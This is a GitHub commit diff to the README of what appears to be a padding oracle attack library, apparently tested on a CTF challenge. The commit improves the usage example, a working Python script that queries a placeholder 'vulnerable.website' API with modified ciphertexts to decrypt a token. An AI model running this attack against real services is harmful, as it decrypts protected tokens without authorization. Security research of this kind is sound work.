Skip to content

Commit 12a9680

Browse files
committed
docs: improve example
1 parent 6c450b5 commit 12a9680

File tree

1 file changed

+8
-7
lines changed

1 file changed

+8
-7
lines changed

README.md

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -29,32 +29,33 @@ Tested on [0x09] Cathub Party from EDU-CTF:
2929

3030
## Usage
3131

32-
Let's say we are going to test `https://the.target.site/api/?token=BASE64_ENCODED_TOKEN`
32+
E.g. testing `https://vulnerable.website/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D`:
3333

3434
```python
3535
from padding_oracle import padding_oracle, base64_encode, base64_decode
3636
import requests
3737

3838
sess = requests.Session() # use connection pool
39-
url = 'https://example.com/api/'
39+
url = 'https://vulnerable.website/api/'
4040

4141
def oracle(ciphertext: bytes):
4242
resp = sess.get(url, params={'token': base64_encode(ciphertext)})
4343

4444
if 'failed' in resp.text:
45-
return False
45+
return False # e.g. token decryption failed
4646
elif 'success' in resp.text:
4747
return True
4848
else:
4949
raise RuntimeError('unexpected behavior')
5050

51-
ciphertext = base64_decode('BASE64_ENCODED_TOKEN')
52-
# becomes IV + block1 + block2 + ...
51+
ciphertext: bytes = base64_decode('M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94=')
52+
# len(ciphertext) is 32
53+
# possibly be "IV + cipher block" if block size is 16
5354

54-
assert len(cipher) % 16 == 0
55+
assert len(ciphertext) % 16 == 0
5556

5657
plaintext = padding_oracle(
57-
ciphertext, # cipher bytes
58+
ciphertext,
5859
block_size = 16,
5960
oracle = oracle,
6061
num_threads = 16,

0 commit comments

Comments
 (0)